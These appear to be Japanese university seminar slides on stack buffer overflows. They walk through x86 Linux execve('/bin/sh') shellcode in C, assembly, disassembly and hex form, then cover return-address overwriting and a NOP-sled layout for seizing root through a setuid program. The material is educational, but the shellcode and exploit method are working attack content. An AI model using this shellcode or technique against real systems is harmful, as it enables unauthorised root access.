バッファオーバーフロー

セキュリティ(3)
05A2013
大川内 斉
今回の内容

前回、説明不足な内容に終わったバッファオーバーフローに
ついて具体的に行った
不正なプログラムの
実行
test()
{
・・・
偽のアドレスで
書き換える
}
int main()
{
char str[3];
char str2[3];
scanf(“%s”,&str); ”AAAAA・・・
test();
・・・
バッファオーバー
フロー
main()への戻り値アドレス
Str2
AAAA
Str
AAA
開発環境

knoppix(Linux)
前回の質問
1.コンパイラはバッファオーバーフローを
どの程度防げるか?
2.セキュリティホールが多いOSはどれか?
コンパイラはバッファオーバーフローを
どの程度防げるか?

配列領域のチェック

関数リターンアドレスの書き換え検出(オプション)
コンパイラでもある程度は防止できるが、メモ
リ保護機能を持つOSやCPU、デバッグツー
ルなどを用いることにより危険性は減少する
セキュリティホールが多いOSは?
Windows
Linux
MacOS X
深刻な脆弱性の数の多い順
・WindowsがOSの中で脆弱性の数が最も少な
いが、深刻な脆弱性の数は最も多い
・Windowsが、最もユーザが多いため、ターゲット
にされやすいという見方もある
今回の目的

セキュリティホールがあり、setuid(ルート権
限)が有効であるプログラムに対して不正な
攻撃を行いルート権限を奪う
一般ユーザとルート
ルート(ルートユーザ)
何の制約も受けない、システムの管理者であ
りすべての権限を持つ
 一般ユーザ
ある程度、アクセスが限られており、Linuxで
は通常この一般ユーザアカウントで作業する
 setuid
実行中のユーザーではなく、一時的に別の
ユーザに変更できる機能

シェル
OSの機能の一つで、Linuxではコマンドによ
り、様々な処理ができるが、シェルはユーザ
からコマンドを受けてプログラムの起動や制
御を行う
 ls、pwd、cpなどがある
今回、行う攻撃にはshというシェルスクリプト
を用いる

スタック

メモリの使い方を表す概念のこと
push命令(データを入れる命令)を実行
push $1 → push $2 → push $ 3
アドレス
03
02
01
000027
000028
000029
スタックはアドレスの高位~低位に向かって伸びていく
pop命令(データを取り出す命令)を一回実行すると・・・
アドレス
000027
02
01
000028
000029
→ もっとも低位のアドレスからデータが取り出される
・ 最後にpushしたデータが最初にpopされることになる
実験例1
int main(int argc, char *argv[1])
{
char *data[2];
char *exe = "/bin/sh";
data[0] = exe;
data[1] = NULL;
}
このプログラムを
アセンブリ言語→マシン語
と変換し、不正なコードを
作成する
execve(data[0],data,NULL);
シェルスクリプトを実行できている
アセンブリ言語とマシン語
アセンブリ言語
人間にわかりやすい形で機械語を記述する
代表的な言語
 マシン語(機械語)
CPUが直接理解し実行できるプログラミング
言語で、どのプログラミング言語も最終的に
このマシン語に翻訳され実行される

アセンブリ言語の作成
.globl main
main:
jmp L2
L1:
popl %esi
movl %esi, 0x8(%esi)
xorl %eax, %eax
movb %al, 0x7(%esi)
movl %eax, 0xc(%esi)
movb $0xb, %al
movl %esi, %ebx
leal 0x8(%esi), %ecx
leal 0xc(%esi), %edx
int $0x80
L2:
call L1
.string "/bin/sh"
call文を実行すると、そ
の次に実行すべきアドレ
ス(戻りアドレス)をスタッ
クに格納
eax
ebx
11
/bin/sh
ecx
edx
配列のアドレス
NULL
char *data[2];
char *exe = "/bin/sh";
data[0] = exe;
data[1] = NULL;
execve(data[0],data,NULL);
マシン語(機械語)の作成
08048354 <main>:
8048354:
eb 18
08048356 <L1>:
8048356:
5e
8048357:
89 76 08
804835a:
31 c0
804835c:
88 46 07
804835f:
89 46 0c
8048362:
b0 0b
8048364:
89 f3
8048366:
8d 4e 08
8048369:
8d 56 0c
804836c:
cd 80
0804836e <L2>:
804836e:
e8 e3 ff ff ff
jmp
804836e <L2>
pop
mov
xor
mov
mov
mov
mov
lea
lea
int
%esi
%esi,0x8(%esi)
%eax,%eax
%al,0x7(%esi)
%eax,0xc(%esi)
$0xb,%al
%esi,%ebx
0x8(%esi),%ecx
0xc(%esi),%edx
$0x80
call 8048356 <L1>
実験例2
unsigned char code[] =
"\xeb\x18\x5e\x89\x76\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
int main(void)
{
int *radr;
//int型のポインタのサイズは4バイト
radr = (int *)&radr + 2;
(*radr) = (int)code;
return 0;
アドレス
}
radr
ret
(戻りアドレス)
000024
000032
目的を明らかにすると

バッファオーバーフローを起こすことにより、
ターゲットプログラムのret(戻りアドレス)を
不正なコードの先頭アドレスに上書きできれ
ば、不正なコードを実行できる
プログラムで行っていること1
1.初めに不正プログラムのスタックポインタspを求
めている(spは次にデータが格納されるアドレス
を指す)
2.次にspからターゲットのアドレスを推測するため
ターゲットの配列サイズ分spから引く(しかしター
ゲットのアドレスを指しているわけではない)
ターゲットプログラムの
スタック位置
不正プログラム
不正プログラムで宣
言された変数など
sp
ret
buf
スタック
プログラムで行っていること2
3.別の領域に確保した配列(A)の全ての領域
を先ほど推測したアドレス(X)で埋める
4.Aの前半分をNOP命令(no operation)で
埋め、その後、不正なコード(S)を格納する
5.配列Aをターゲットプログラムに渡す
(配列Aはターゲットの配列より大きい)
配列A
X
X
X
X
X
X
配列A
N
N
N
S
X
X
プログラム実行の仕組み

ここでは、仮に推測したアドレスがターゲットのbuf配列のア
ドレスを指しているとする
ターゲットプログラム
のスタック

N
N
N
S
先頭アドレスを指定しなくても、XがNOPを
指していれば不正なコードは実行される
NOPは何も行わない命令でそのまま進み、
不正なコードが実行されることになる
X
X
X
ここのXはターゲット
プログラムのretが
入っていた場所
プログラム実行

不正なコードを実行できていることがわかる
今後の予定


攻撃法の検証と分析
不正侵入検知(IDS)
参考資料


サイト
・Wikipedia http://ja.wikipedia.org/wiki/
・IPA(情報処理推進機構) http://www.ipa.go.jp/
・ITpro http://itpro.nikkeibp.co.jp/
・IT+PLUS http://it.nikkei.co.jp/
・「アセンブリ言語の教科書」の原稿
http://ruffnex.oc.to/kenji/text/asmbook/
・バッファオーバーフローの危険性
http://f16.aaa.livedoor.jp/~vwxyz/up/img/004.txt
書籍
・ハッカーの教科書